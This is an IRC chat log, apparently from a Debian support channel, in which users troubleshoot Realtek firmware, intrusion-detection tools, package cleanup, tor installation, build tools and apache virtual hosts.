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• 892[04:10:56] <learnerwind> jmcnaught: Sorry i didnt knew i was receving answers. My phone keeps disconnecting and xchat changed my nick every time it occurred. The last time was the first i received any message. And i am so sorry about what happened
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• 894[04:11:58] <sm00th> jmcnaught, i'm probalby compromised
• 895[04:12:17] <missmbob> no one has any reason to think that
• 896[04:12:43] <missmbob> and now it's starting to make sense why you were on my ignore list
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• 898[04:13:33] <missmbob> learnerwind: 02:53 < jmcnaught> learnerwind: so "apt-get install firmware-realtek" does what?
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• 900[04:13:49] <missmbob> learnerwind: also jessie-backports has a newer firmware-realtek that might help. and what does uname -a give you?
• 901[04:13:54] <jmcnaught> sm00th: compromised by what?
• 902[04:14:09] <learnerwind> misbob: 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
• 903[04:14:23] <missmbob> learnerwind: let's see the policy
• 904[04:14:28] <jmcnaught> sm00th: it's more likely that the problems you're having are related to changes you made to your system earlier
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• 907[04:14:42] <learnerwind> missbob: Linux Aires 4.7.0-0.bpo.1-amd64 #1 SMP Debian 4.7.8-1~bpo8+1 (2016-10-19) x86_64 GNU/Linux
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• 909[04:14:48] <jmcnaught> learnerwind: could you also show us "dmesg | grep -i firmware" ?
• 910[04:14:58] <missmbob> learnerwind: and lspci -nn
• 911[04:15:18] <learnerwind> missbob: [ 19.038691] r8169 0000:02:00.2: firmware: direct-loading firmware rtl_nic/rtl8411-1.fw
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• 914[04:15:44] <missmbob> oh
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• 916[04:16:15] <learnerwind> missbob:
• 917[04:16:18] <learnerwind> replaced-url
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• 919[04:16:25] <sm00th> I think I figured it out
• 920[04:16:34] <missmbob> learnerwind: dpkg -l firmware-realtek
• 921[04:16:54] <sm00th> I don't know what I did I hit window button plus s or something
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• 925[04:18:37] <jmcnaught> ,file rtl8411-1.fw
• 926[04:18:41] <judd> Search for rtl8411-1.fw in jessie/amd64: firmware-realtek: lib/firmware/rtl_nic/rtl8411-1.fw
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• 928[04:18:59] <jmcnaught> learnerwind: can you show us more complete output from "apt-get install firmware-realtek", not just one line
• 929[04:19:16] <learnerwind> dpkg -l firmware-realtek
• 930[04:19:16] <dpkg> ii firmware-realtek 3.1-2 learnerwind's private warez collection
• 931[04:19:18] <learnerwind> replaced-url
• 932[04:19:37] <missmbob> learnerwind: okay so you're not using the jessie-backports version
• 933[04:19:47] <missmbob> learnerwind: you might want to try that. then restart.
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• 935[04:20:24] <sm00th> hmm maybe that was the plasma desktop shell thign?
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• 937[04:20:53] <learnerwind> should i remove --purge and then try to reinstall it again?
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• 939[04:21:27] <missmbob> no you can just install the jessie-backports onon over it
• 940[04:21:46] <sm00th> jmcnaught, thats what it was man haha
• 941[04:21:50] <sm00th> the plasman shell activity manager
• 942[04:21:53] <sm00th> when you do a new activity
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• 944[04:22:08] <jmcnaught> sm00th: pebkac ;)
• 945[04:22:52] <learnerwind> wich command should i run?
• 946[04:23:18] <jmcnaught> learnerwind: "apt-get -t jessie-backports install firmware-realtek"
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• 948[04:24:11] <learnerwind> i've tried it. sending the outpu
• 949[04:24:17] <sm00th> jmcnaught, virtual desktops
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• 954[04:24:32] <learnerwind> replaced-url
• 955[04:24:53] <sm00th> they are called activites in kde, i've never used them, but I must be hitting some shortcut for them. good now i can sleep tonight haha
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• 958[04:25:29] <missmbob> learnerwind: did you seriously install jessie-backports kernel without adding jessie-backports to sources.list ?
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• 960[04:25:40] <jmcnaught> sm00th: yeah i remember KDE activities. they're different than virtual desktops.. you can have different widgets or plasmoididoodads on each one
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• 963[04:25:49] <sm00th> ya
• 964[04:25:49] <missmbob> learnerwind: oh, i bet you just didn't add non-free to the jessie-backports line in sources.list
• 965[04:26:14] <learnerwind> deb replaced-url
• 966[04:26:14] <learnerwind> deb-src replaced-url
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• 968[04:26:23] <learnerwind> oh!!!!
• 969[04:26:24] <learnerwind> ok
• 970[04:26:25] <learnerwind> i got
• 971[04:26:30] <learnerwind> main contrib nonfree
• 972[04:26:40] <random_numbers> Has anyone here tried out logcheck?
• 973[04:27:12] <jmcnaught> random_numbers: i have it installed on my servers
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• 975[04:27:34] <random_numbers> jmcnaught: How exactly does it work? How well does it cope with say, logrotate activity?
• 976[04:27:37] <jmcnaught> though.. i've been kinda lazy in making regexs for it so it's kinda spammy
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• 983[04:28:56] <learnerwind> i ran updating and now it is installing a new version
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• 986[04:29:09] <learnerwind> newer*
• 987[04:29:18] <jmcnaught> random_numbers: it basically emails root about any log entry that does not match one of its regexs
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• 989[04:29:33] <missmbob> learnerwind: reboot. then we'll want to see that dmesg output again
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• 992[04:30:30] <learnerwind> ok. Thank you missbob and jmcnaught. And again sorry for the trouble i didnt knew what was happening
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• 994[04:30:37] <learnerwind> rebooting now
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• 997[04:31:40] <jmcnaught> random_numbers: so you need to do a bit of work writing regex patterns for it, with the goal of total silence from logcheck *except* for stuff you want to hear about (messages that are out of the ordinary)
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• 999[04:32:08] <MoonKid> hi @all
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• 1003[04:33:24] <MoonKid> I try to find a way to replace the login promt on tty1 with e.g. "journalctl -f". But I can not find something about it. Maybe I use the wrong search terms?
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• 1006[04:33:53] <random_numbers> jmcnaught: Ah, I see. Damn. One would need to study the logs of whatever log files one is having logcheck follow pretty in-detail.
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• 1008[04:34:19] <missmbob> MoonKid: -f is "Follow the journal"
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• 1010[04:34:50] <missmbob> MoonKid: --help or man
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• 1013[04:35:12] <missmbob> i have no idea how journalctl fits into this equation though
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• 1015[04:35:23] <MoonKid> missmbob: man of what? Which component I need to modify.
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• 1017[04:35:45] <missmbob> what you're saying makes no sense. but if you want to learn about journalctl you man journalctl
• 1018[04:35:51] <learnerwind> missbob: do you want all output of dmsg?
• 1019[04:35:58] <learnerwind> dmesg*
• 1020[04:37:04] <random_numbers> I'd been thinking that logcheck could serve as a poorman's replacement of a proper HIDS. It kinda doesn't do the same thing at all.
• 1021[04:37:20] <missmbob> learnerwind: dmesg | grep -i firmware
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• 1025[04:37:37] <jmcnaught> MoonKid: you want tty1 to display the journal?
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• 1027[04:37:46] <learnerwind> [ 18.473980] r8169 0000:02:00.2: firmware: direct-loading firmware rtl_nic/rtl8411-1.fw
• 1028[04:38:00] <missmbob> learnerwind: so...any luck? is it working?
• 1029[04:38:08] <learnerwind> nop :(
• 1030[04:38:36] <missmbob> how are you configuring the interface? or is no interface even showing up?
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• 1032[04:39:02] <jmcnaught> random_numbers: i also use tripwire, which is a pain in the neck and tricky to automate, but not that difficult to use
• 1033[04:39:03] <learnerwind> no. It does not appear in 'ip l l'
• 1034[04:39:03] <MoonKid> jmcnaught: yes
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• 1036[04:39:36] <learnerwind> maybe because when i installed it hasn't the interface
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• 1038[04:39:56] <missmbob> no that's not it. i'm not sure what is, though. hrm.
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• 1042[04:41:04] <random_numbers> jmcnaught: I see. I'd been debating using samhain due to the centralized flow it provides.
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• 1044[04:41:31] <jmcnaught> MoonKid: i've never tried, but if i did i would look at /lib/systemd/system/debug-shell.service as an example (it runs bash as root on tty9)
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• 1046[04:42:16] <jmcnaught> MoonKid: i would also create a new user in the systemd-journal and adm group to run that service as
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• 1048[04:43:07] <missmbob> i recently started having to use several build chroots. my problem is every terminal instance says @host_hostname. confuses the hell out of me and i can't keep track of which chroot i'm in. never had to deal with this before. any thoughts?
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• 1050[04:44:13] <jmcnaught> missmbob: what says @host_hostname? the terminal emulator's window title?
• 1051[04:44:23] <missmbob> bash prompt
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• 1053[04:44:28] <missmbob> user@host_hostname
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• 1059[04:47:50] <jmcnaught> missmbob: so apparently PS1 has ${debian_chroot:+($debian_chroot)} is set in /etc/bash.bashrc. tl;dr if you put a word in /etc/debian_chroot it ends up in $PS1
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• 1061[04:48:20] <missmbob> jmcnaught: ah, great, thanks
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• 1076[04:55:01] <missmbob> jmcnaught: that works perfectly. adding it to wiki.debian.org/chroot#Configuration
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• 1079[04:56:56] <jmcnaught> missmbob: good thinking. i didn't know about it before now either
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• 1090[05:00:17] <random_numbers> jmcnaught: Any opinion on samhain?
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• 1099[05:12:30] <random_numbers> AIDE, Samhain, TripWire, OSSEC, which one should I try with as a noob with a few machines I want to monitor?
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• 1101[05:14:32] <jmcnaught> random_numbers: i can't really remember why i picked tripwire instead of samhain. i think it was because it was depended on by one of the harden metapackages that Debian used to have
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• 1104[05:15:17] <jmcnaught> i'd definitely use one that is in Debian. try them all and see which one has the right balance of paranoia and inconvenience for you
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• 1107[05:16:30] <jmcnaught> random_numbers: "aptitude search ~Gsecurity::ids" to see packages with that debtag
• 1108[05:16:44] <random_numbers> '~Gsecurity::ids' ?
• 1109[05:17:13] <jmcnaught> random_numbers: search by debtag, which are shown at the bottom of "aptitude show $package"
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• 1111[05:17:44] <random_numbers> I see. Hm, guess I'd need to install aptitude.
• 1112[05:17:56] <jmcnaught> you don't have aptitude installed?
• 1113[05:18:02] <jmcnaught> there's also a debtags program
• 1114[05:18:06] <missmbob> i dont either to be fair :P
• 1115[05:18:56] <jmcnaught> aptitude has the best search, and is priority standard
• 1116[05:19:18] <missmbob> it's everything i've hated. like gnome. assuming what i want
• 1117[05:19:42] <random_numbers> I just never really saw the point when apt does most of what I want.
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• 1121[05:20:28] <jmcnaught> mostly i use it for the superior searching, but it's sometimes handy to see what using a different dependency resolver will do
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• 1129[05:21:02] <missmbob> jmcnaught: other than freezing times to be ready you use something other than stable?
• 1130[05:21:12] <jmcnaught> also i tend to always install packages that are priority required, important, and standard
• 1131[05:21:17] <random_numbers> That expression you gave out doesn't seem to work with debtags.
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• 1135[05:22:55] <jmcnaught> missmbob: sometimes i use testing during the freeze period. i ran testing+unstable for most of wheezy's development
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• 1139[05:25:50] <random_numbers> Oh, I've got no debtags source list.
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• 1144[05:27:28] <jmcnaught> random_numbers: ~G is an aptitude search pattern for filtering by debtag. ~G is not a valid option for the debtags program
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• 1147[05:29:19] <jmcnaught> "debtags search security::ids" but i usually show people the aptitude command because it's more likely to be installed on a typical Debian system
• 1148[05:29:54] <random_numbers> jmcnaught: I see. That explains some it, but I don't have a tag-source anyway, so that wouldn't work either.
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• 1150[05:30:06] <random_numbers> I need to find out just where I'd get such sources.
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• 1155[05:35:28] <missmbob> not some of it. all of it. contrain it before
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• 1157[05:37:58] <missmbob> there are all gone. this is awful. you really shouldn't give the ansers
• 1158[05:38:07] <missmbob> answers*
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• 1160[05:40:38] <random_numbers> Nevermind, I'd messed up. debtags search works fine.
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• 1167[05:43:54] <gebruiker> How do I get rid of unneeded dependencies without using autoremove, after I have executed apt-get remove --purge xfce4*?
• 1168[05:45:05] <random_numbers> You could check the reverse dependencies for xfce4 and purge those.
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• 1171[05:45:23] <random_numbers> That does mean you need to check each one to see if something else isn't linked to them though.
• 1172[05:45:44] <random_numbers> Very inefficient, as you probably notice.
• 1173[05:45:57] <mutante> deborphan or debfoster so something?
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• 1175[05:46:51] <mutante> deborphan = determines which packages have no other packages depending on their installation
• 1176[05:48:09] <mutante> debfoster = detect packages that have been installed only because other packages depended on them
• 1177[05:48:14] <mutante> i always forget which is which
• 1178[05:48:16] <gebruiker> mutante: i just checked but deborphan also suggests apps I do use
• 1179[05:48:44] <mutante> hmm. ok..
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• 1181[05:48:59] <gebruiker> i.e redshift-gtk, which runs 24/7 on my machine
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• 1185[05:49:58] <mutante> sounds like project management software based on reddit
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• 1187[05:50:36] <mutante> ooh, i see :)
• 1188[05:50:46] <gebruiker> nah i adjusts the brightness of the monitor basedupon sun's position
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• 1190[05:51:11] <gebruiker> real nice for the eyes if you use your computer at night
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• 1192[05:51:25] <mutante> "allow your eyes to slowly adapt" sound sgood
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• 1236[06:15:26] <sn0wmonster> I am aware that some of these x86 tablets use a 32-bit EUFI without legacy BIOS support, and that causes booting issues.
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• 1261[06:35:11] <Agafnd> So I was playing gnujump in fullscreen and it crashed, messing up my screen resolution :(
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• 1263[06:35:30] <Agafnd> how do I restore it to its normal state?
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• 1641[10:41:07] <sumi> is there a historical reason for syslog facility system? seems a bit silly to have this kind indirection.
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• 1693[11:08:44] <JohnMS> I'm working with a games industry company and we're looking into supporting our applications on GNU/Linux. What is the current level of support for the LSB in Debain?
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• 1706[11:12:14] <Lowl3v3l> JohnMS, if you mean the Linux Standard Base its 4.1 in jessie.
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• 1708[11:12:55] <Lowl3v3l> JohnMS, though this is JUS a package, it doesn't imply full compliance
• 1709[11:13:21] <JohnMS> Lowl3v3l: I do, and thanks. Does it imply anything?
• 1710[11:14:13] <Lowl3v3l> JohnMS, take a look at the package, i just did a quick package search for it ;)
• 1711[11:14:25] <Lowl3v3l> JohnMS, i have no real clue about LSB tbh^^
• 1712[11:14:49] <mrrhq> JohnMS: If you don't want to get into packaging or package maintaining, then I'll just throw AppImage as a suggestion.
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• 1715[11:15:22] <JohnMS> Lowl3v3l: I'll look at the package. Thanks.
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• 1717[11:16:00] <JohnMS> mrrhq: I'll also look into AppImage
• 1718[11:16:14] <mrrhq> Nice. Good luck on your game. :)
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• 1720[11:16:29] <JohnMS> Thanks.
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• 1861[12:21:20] <bipul> Why i am not able to see any debian pages, it says "<p>You are not allowed to access this!</p>"
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• 1868[12:26:07] <james364> fuck that's easy and i feel stupid. sudo -u replaced-url
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• 1870[12:26:18] <cra1g321> bipul got a link you can share so someone else can try ?
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• 1872[12:26:38] <unborn> bipul: whats the link?
• 1873[12:26:42] <bipul> cra1g321, Sorry i don't get you?
• 1874[12:27:07] <cra1g321> you said you can't see debian pages, i'm assuming you're talking about the website ?
• 1875[12:27:49] <bipul> cra1g321, Yes
• 1876[12:28:16] <bipul> unborn, replaced-url
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• 1878[12:28:30] <bipul> I was trying to play with hurd on my rasberrypi
• 1879[12:28:42] <cra1g321> that page opens fine here
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• 1881[12:28:49] <unborn> bipul: well must be something on your network.. I am able to access the page without issues
• 1882[12:29:16] <bipul> But i found many debian pages i am not able to open.
• 1883[12:29:33] <bipul> Forbidden
• 1884[12:29:33] <bipul> <p>You are not allowed to access this!</p>
• 1885[12:29:42] <bipul> :(
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• 1888[12:30:14] <TomTomTo1> bipul: you can ask #debian-replaced-url
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• 1891[12:32:35] <bipul> Yes let me ask there TomTomTo1
• 1892[12:33:21] <unborn> bipul: replaced-url
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• 1896[12:34:32] <missmbob> hell debian only recently started working on rasberrypi. hurd seems like a stretch
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• 1899[12:34:54] <missmbob> uh. that was unintentional
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• 1916[12:42:23] <doublehp> does this imply the issue is in the NFS stuff ? or could the cause of problem be elsewhere ? how to track if the issue is related to server or client ? replaced-url
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• 1924[12:51:17] <airking> I have a csv file I am generating from a mysql database that was set up from another user. I would like the SQL procedure to be able to place the .csv folder in a file under my account so that I can read it and then move it to another storage area. What would I need to do to do this?
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• 1926[12:51:28] <airking> That file would be owned by the mysql user, right?
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• 1931[12:56:33] <candidat_> hello people ! how are you guys ? i m looking for a good ebook about bash linux do you have an ebook about it ?
• 1932[12:56:46] <nore> hi all, I've got a pretty big problem when trying to update my debian (stretch) to use the 4.7.0 kernel: when I try to install the package linux-headers-4.7.0-1-amd64, I get a kernel panic at the configuration step, with the error "Timeout: Not all CPUs entered broadcast exception handler". Do you have any idea of what could be causing that?
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• 1934[12:57:10] <mik> candidat_: replaced-url
• 1935[12:57:15] <missmbob> !tell nore about debian-next
• 1936[12:58:28] <nore> missmbob: it seems like I can't connect to the server irc.oftc.net, is the port the usual one?
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• 1938[12:59:11] <missmbob> yes. i'm on it right now. you could try tesla.oftc.net
• 1939[12:59:40] <candidat_> thanks mik !
• 1940[12:59:51] <nore> oh, I just saw the ssl port was not 6666, problem solved
• 1941[13:00:01] <nore> now asking the question on #debian-next
• 1942[13:00:13] <cra1g321> the ssl port for irc networks is usually 6697 or 7000
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• 1944[13:01:06] <nore> cra1g321: ah, thanks
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• 1972[13:19:54] <toogley> is there a way, i can *noninteractively* make "install the package which contains $program " ?
• 1973[13:21:31] <themill> only if you can better define what you mean by $program
• 1974[13:21:59] <FoFooness> hm, you mean unattended?
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• 1977[13:22:16] <JPT> like apt-get install -y foo or so?
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• 1999[13:37:00] <RoyK> toogley: something like ansible?
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• 2024[13:52:53] <toogley> themill: some binary, e.g. /usr/bin/chsh
• 2025[13:53:34] <themill> toogley: you need to decide how wide your search should be. sbin too? other things in "bin" directories that aren't in the default PATH?
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• 2027[13:53:37] <themill> «apt-get install $(apt-file search -l -x '^/(usr/|)s?bin/foo$')»
• 2028[13:54:06] <toogley> RoyK: no, i think thats too big for my solution.
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• 2030[13:54:47] <RoyK> toogley: ansible isn't really a big thing :P
• 2031[13:55:13] <toogley> themill: everything in $PATH. but as its anyways used in a script, i can handle $PATH with your command. thanks
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• 2034[13:55:42] <themill> toogley: you might like to look at command-not-found
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• 2036[13:56:01] <toogley> themill: thx again
• 2037[13:56:08] <themill> ,i command-not-found
• 2038[13:56:09] <judd> Package command-not-found (admin, optional) in jessie/amd64: Suggest installation of packages in interactive bash sessions. Version: 0.2.38-1; Size: 12.7k; Installed: 144k
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• 2042[13:57:25] <toogley> RoyK: well, i think i try themill 's suggestion first^^
• 2043[13:57:40] <toogley> RoyK: if that doesn't work for me, i can still look at ansible :P
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• 2050[14:00:04] <RoyK> toogley: it won't hurt to take a look at ansible - it's really easy to use
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• 2052[14:00:48] <RoyK> toogley: you don't need a playlist - you can just run any command over ssh, really
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• 2055[14:02:42] <notabyte> Do you have to have perl installed for debian to work
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• 2057[14:02:59] <RoyK> notabyte: it comes by default
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• 2059[14:03:09] <RoyK> notabyte: I guess a few things relies on perl...
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• 2062[14:03:39] <RoyK> notabyte: why?
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• 2064[14:04:16] <notabyte> I don't want useless programs taking up space
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• 2067[14:04:59] <themill> notabyte: well since perl isn't useless, you don't have to worry
• 2068[14:05:01] <themill> !next
• 2069[14:05:01] <dpkg> Another happy customer leaves the building.
• 2070[14:05:06] <RoyK> notabyte: do you have a very small harddisk? ;)
• 2071[14:05:22] <notabyte> i have 64gb flash drive
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• 2074[14:05:48] <RoyK> notabyte: then don't worry about perl - it may be a few tens of megs - not a whole lot
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• 2076[14:07:05] <RoyK> notabyte: a minimal install is <2GB and includes perl, so with 64GB disk space, well, it should suffice
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• 2087[14:14:43] <sypher> I'm running a minimal install on this, currently using 962MB, including extra packages I installed and some data files.
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• 2089[14:16:32] <missmbob> i fail to see the problem
• 2090[14:17:08] <missmbob> hell even adduser is written in perl. a lot of essential tools are
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• 2093[14:19:35] <Istanbul_Sea> hello
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• 2110[14:29:36] <unborn> sypher: and the issue is? You should be very fine to continue your install
• 2111[14:29:45] <unborn> so far - I failed to see any issues
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• 2113[14:30:25] <missmbob> unborn: he has no issue. he was adding his 2 cents on the previous perl discussion in relation to size
• 2114[14:30:44] <unborn> missmbob: ups sorry..
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• 2130[14:42:02] <gshrikant> Sorry, typo!
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• 2134[14:43:25] <toogley> RoyK: hm, thanks.
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• 2195[15:16:34] <notabyte> Remember the good old days of linux
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• 2244[15:33:29] <logono> hello
• 2245[15:33:39] <gebruiker> hi
• 2246[15:33:46] <gebruiker> xfs uses a lot of memory
• 2247[15:33:52] <gebruiker> more so than ext4 it seems
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• 2249[15:34:05] <logono> hi gebruiker
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• 2251[15:34:21] <RoyK> gebruiker: not really
• 2252[15:34:32] <logono> to install tor on my laptop
• 2253[15:34:45] <logono> using the the terminal
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• 2255[15:34:52] <RoyK> gebruiker: how did you see those data?
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• 2257[15:35:08] <gebruiker> RoyK: free -h and top
• 2258[15:35:13] <logono> there's a command line ?
• 2259[15:35:15] <gebruiker> RoyK: jus installed with xfs
• 2260[15:35:21] <RoyK> gebruiker: pastebin free -h, please
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• 2262[15:35:39] <logono> like apt-get tor install ?
• 2263[15:35:56] <gebruiker> RoyK: replaced-url
• 2264[15:36:20] <RoyK> -/+ buffers/cache: 482M 2,5G
• 2265[15:36:22] <logono> I downloaded it and try his command line but failed :(
• 2266[15:36:27] <RoyK> not a whole lot used
• 2267[15:36:50] <gebruiker> RoyK: free 254m - raises questions marks for me
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• 2269[15:36:58] <gebruiker> *25M
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• 2272[15:37:25] <RoyK> gebruiker: that's non-used memory - linux uses all free memory for buffering/caching, which is good
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• 2274[15:37:36] <RoyK> unused memory is worthless
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• 2277[15:37:45] <gebruiker> RoyK: interesting because with ext4 it used to show free 1.7G
• 2278[15:37:50] <dontknow> logono, i guess it is in contrib repo
• 2279[15:37:51] <gebruiker> RoyK: why is that?
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• 2282[15:38:21] <RoyK> gebruiker: because if you use memory for caching and buffering, you don't need to use disks that much
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• 2285[15:38:47] <gebruiker> RoyK: ext4 does not do that?
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• 2287[15:39:08] <RoyK> gebruiker: you have 2,5GB "free" memory there, that is, memory used for caching, but that will be released if it's allocated
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• 2289[15:39:44] <RoyK> gebruiker: no, neither ext4 nor xfs does that, it's the block level under that
• 2290[15:39:50] <gebruiker> RoyK: i am trying to understand why ext4 did show free 1.7G and no caching hmm
• 2291[15:39:54] <gebruiker> RoyK: oh i see
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• 2293[15:40:01] <RoyK> s/level/layer/
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• 2314[15:47:10] <awal1> logono, if you want debian tor pkg, add contrib component to your sources.list file then install the pkg called torbrowser-launcher
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• 2320[15:48:12] <awal1> apt-get update && apt-get install torbrowser-launcher ^
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• 2325[15:49:37] <awal1> logono: also there is a backports version
• 2326[15:49:41] <logono> thanks al lot awal1
• 2327[15:49:51] <logono> i try it
• 2328[15:49:51] <awal1> ,v torbrowser-launcher
• 2329[15:49:52] <judd> Package: torbrowser-launcher on amd64 -- wheezy-backports/contrib: 0.1.9-1+deb8u3~bpo70+1; jessie/contrib: 0.1.9-1+deb8u3; jessie-backports/contrib: 0.2.6-2~bpo8+1; stretch/contrib: 0.2.6-2; sid/contrib: 0.2.6-2
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• 2391[16:13:57] <logono> Yes
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• 2401[16:17:13] <stoned> Hey there folks and non-folks
• 2402[16:17:26] <stoned> I searched, but is ther a ... hmm..
• 2403[16:17:30] <logono> It works...
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• 2405[16:17:38] <stoned> Book writing ... helping... software I could possibly use?
• 2406[16:17:43] <logono> ThanX a lot...
• 2407[16:18:00] *** debhelper sets mode: +l 1665
• 2408[16:18:03] <stoned> Perhaps a book publishing platform (something NOT a text editor only). Shooting in the dark.
• 2409[16:18:05] <logono> Now, coffee time with friends
• 2410[16:18:28] <han-solo> Latex? :)
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• 2413[16:18:52] <stoned> I KNEW you were gonna say that!
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• 2415[16:18:54] <mutante> Latex
• 2416[16:19:02] <stoned> And don't you have some Kessel runs to make?
• 2417[16:19:03] <han-solo> :}
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• 2419[16:19:10] <stoned> You only got... 9 parsecs left.
• 2420[16:19:12] <stoned> :)
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• 2422[16:19:43] <logono> good afternoon
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• 2426[16:19:49] <stoned> replaced-url
• 2427[16:19:50] <logono> ;)
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• 2429[16:19:58] <stoned> They might not sell weed in Hell.
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• 2433[16:20:19] <stoned> Oh it's a markup lang.
• 2434[16:20:24] <th0r> and the ignore list continues to grow
• 2435[16:20:42] <mutante> Did you want help on the actual writing process ?
• 2436[16:20:43] <stoned> th0r: yes. It just did. Thanks.
• 2437[16:20:53] <stoned> No. I wanted to see what kind of software I could use
• 2438[16:21:02] <stoned> I am currently publishign using a static site generator on hugo in markdown files
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• 2440[16:21:04] <jelly> th0r: please keep such comments to yourself in the future
• 2441[16:21:29] <stoned> I been keyword searching book and markdown and other stuff through the repos
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• 2443[16:21:31] <stoned> No dice yet.
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• 2446[16:22:16] <mutante> stoned: i guess it depends if the end result is traditional book printed on dead tree or an ebook
• 2447[16:22:34] <stoned> Well, self publishing.
• 2448[16:22:40] <stoned> So probably ebook/onlnie.
• 2449[16:23:07] <stoned> replaced-url
• 2450[16:23:11] <stoned> This looks interesting.
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• 2453[16:23:43] <stoned> Oh dude..
• 2454[16:23:49] <stoned> Bingo. Thanks folks. I'm good.
• 2455[16:24:03] <mutante> stoned: is the book about weed?
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• 2457[16:24:09] <stoned> DMT actually
• 2458[16:24:10] <stoned> Two books
• 2459[16:24:15] <mutante> lol, ok :)
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• 2462[16:24:35] <stoned> here
• 2463[16:24:42] <mutante> you could probably write them in 5 minutes but it would seem like 5 years
• 2464[16:25:01] <stoned> replaced-url
• 2465[16:25:07] <stoned> I got 3 chapters so far.
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• 2468[16:25:23] <stoned> And another book on mushrooms. "Hacking the Mycelium Network"
• 2469[16:25:25] <stoned> :)
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• 2471[16:25:45] <mutante> stoned: haha, nice title there
• 2472[16:25:50] <stoned> ty. ty.
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• 2474[16:26:47] <stoned> mutante: you in any chat channel?
• 2475[16:27:08] <stoned> (ot, I mean)
• 2476[16:27:19] <mutante> somiaj: i'm sure you read "plan, planet, planet"
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• 2478[16:27:27] <mutante> stoned: ^
• 2479[16:27:48] <stoned> Sorry, don't follow.
• 2480[16:27:50] <mutante> stoned: yes, sorry, i'll shut up, it's offtopic
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• 2482[16:27:55] <jelly> -> #debian-offtopic
• 2483[16:27:56] <stoned> np.
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• 2488[16:30:18] <PinkPing> -su : g++ : command not found.
• 2489[16:30:20] <PinkPing> how can i do?
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• 2491[16:31:01] <stoned> install build essentials
• 2492[16:31:05] <stoned> !b-e
• 2493[16:31:06] <dpkg> from memory, build-essential is a package designed to help you create executables and build Debian packages. If you get errors saying gcc cannot create executables or can't find header files like stdio.h, you need to "aptitude install build-essential". If you don't plan to compile things, you don't need this package. See also <qotd49>.
• 2494[16:31:14] <stoned> That ought to take care of g++ and all the rest.
• 2495[16:31:27] <stoned> IIRC.
• 2496[16:31:32] <PinkPing> install build essentials
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• 2498[16:31:42] <PinkPing> i don’t know what to odo? stoned
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• 2500[16:32:09] <han-solo> he just told you what to do
• 2501[16:32:22] <PinkPing> install build essentials <— this is command?
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• 2503[16:32:26] <stoned> PinkPing: np.
• 2504[16:32:30] <PinkPing> starwars han-solo
• 2505[16:32:34] <PinkPing> thanks stoned
• 2506[16:32:36] <stoned> Read the text that dpkg just said in the channel
• 2507[16:32:40] <stoned> aptitude install build-essential
• 2508[16:32:55] <stoned> PinkPing: or apt-get install build-essential
• 2509[16:32:58] <PinkPing> aptitude install build-essential <— this is command
• 2510[16:33:01] <han-solo> apt-get install build-essential
• 2511[16:33:15] <PinkPing> thanks
• 2512[16:33:16] <PinkPing> :)
• 2513[16:33:21] <han-solo> ah
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• 2515[16:34:20] <PinkPing> it is short for linux using 64g storage?
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• 2517[16:34:45] <Quatroking> there is no god replaced-url
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• 2519[16:35:15] <PinkPing> thanks
• 2520[16:35:17] <PinkPing> :)
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• 2529[16:38:10] <stoned> quarters: zilla?
• 2530[16:38:23] <stoned> nm.
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• 2565[16:49:11] <alien_proximab> test
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• 2574[16:51:19] <surfist> what do ya suppose a good ircd is? from the repo (wheezy)
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• 2577[16:52:14] <elqaz> inspircd
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• 2584[16:54:53] <surfist> far out :)
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• 2616[17:05:48] <Exagone313> Hi, how is it done to provide security fixes to package versions not maintained by their developers? Does the audit team can really look into every piece of code without doing mistakes? For example, about oldstable that has support until 2018. Thanks for your help.
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• 2618[17:06:31] <nkuttler> Exagone313: lts only supports a limited set of packages
• 2619[17:06:41] <nkuttler> Exagone313: other than that, fixes are backported when possible
• 2620[17:07:27] <dontknow> i think they are getting outside help for some packages
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• 2623[17:09:04] <Exagone313> Because more people look into maintained version codes... Did some big problems happen about that?
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• 2634[17:14:27] <maziar> I want to write a script i should go to all directory until the end, how should i handle it ?
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• 2639[17:16:06] <han-solo> os.path.walk ?
• 2640[17:16:08] <Exagone313> maziar: `find . -type d`
• 2641[17:16:13] <han-solo> er, damn
• 2642[17:16:16] <han-solo> sorry
• 2643[17:16:24] <han-solo> wrong channel
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• 2646[17:17:54] <maziar> Exagone313 i want to find last directory, for e.g "1/b/3/d" "d" is last directory, how should i find this directory (I'm writing a script)
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• 2650[17:19:30] <TomTomTo1> possibly this: find . -type d -links 2
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• 2652[17:20:23] <jelly> nice
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• 2715[17:53:35] <frikinz> Hi. Any trick to know a bit more why aptitude in TUI tries to solve dependency conflict for hours? It now using 7GB of RAM and that keeps increasing.
• 2716[17:54:11] <frikinz> "open" and "closed" keep on increasing
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• 2723[17:56:17] <nkuttler> frikinz: which desktop environment?
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• 2726[17:58:12] <frikinz> nkuttler: kde (and xfce4)
• 2727[17:58:49] <frikinz> If at least I would know what its trying to solve..
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• 2752[18:05:55] <doublehp> does this imply the issue is in the NFS stuff ? or could the cause of problem be elsewhere ? how to track if the issue is related to server or client ? replaced-url
• 2753[18:06:00] <need-help> Hi all I'm on Debian Linux 7 if I reinstall apache2 I'll loose /var/replaced-url
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• 2778[18:16:00] <jmcnaught> need-help: if you remove apache2 you will not lose conffiles. if you purge the apache2 package, you will lost conffiles. /var/replaced-url
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• 2780[18:16:36] <SirLagz> I have a box with 3 interfaces, 2 of them cannot access the internet and one can. For some reason, when the box first boots, the default gateway is set correctly, but then after a bit, it sets the default gateway to another interface where it cannot access the internet. Can't seem to work out where/why it's setting the second default gateway though...
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• 2782[18:16:59] <need-help> jmcnaught: I have annonying issue I'm out of luck no one can help me then I decided to reinstall apache
• 2783[18:17:15] <jmcnaught> need-help: what is the issue?
• 2784[18:17:37] <need-help> my friend bought a VPS with 1 domain and preinstalled wordpress everything worked fine since he bought a 2nd domain and wanted to point it to a directory on the /var/replaced-url
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• 2786[18:17:56] <need-help> sorry for my English
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• 2788[18:18:41] <doublehp> SirLagz: each NIC has it's own DHclient running; latest bail obtained sets the default route. You settings are completely broken, starting from hardware POV; you should not wire NICs of the same host to the same network.
• 2789[18:18:57] <SirLagz> doublehp: they're not on the same network. 3 NICs are on 3 different networks.
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• 2791[18:19:40] <jmcnaught> need-help: do both domains have the same document root?
• 2792[18:19:44] <SirLagz> doublehp: sorry, should have clarified that the 3 NICs are on 3 separate networks, 2 of the networks cannot access the internet while one can.
• 2793[18:19:52] <doublehp> need-help: before doing any change, you should have done a backup of the conf; revert to this backup. Then, redo the changes one by one, untill things break; then, you know what's wrong
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• 2795[18:19:58] <need-help> jmcnaught: no differents
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• 2797[18:20:34] <jmcnaught> need-help: can you show your virtualhosts from /etc/apache2/sites-enabled/ on replaced-url
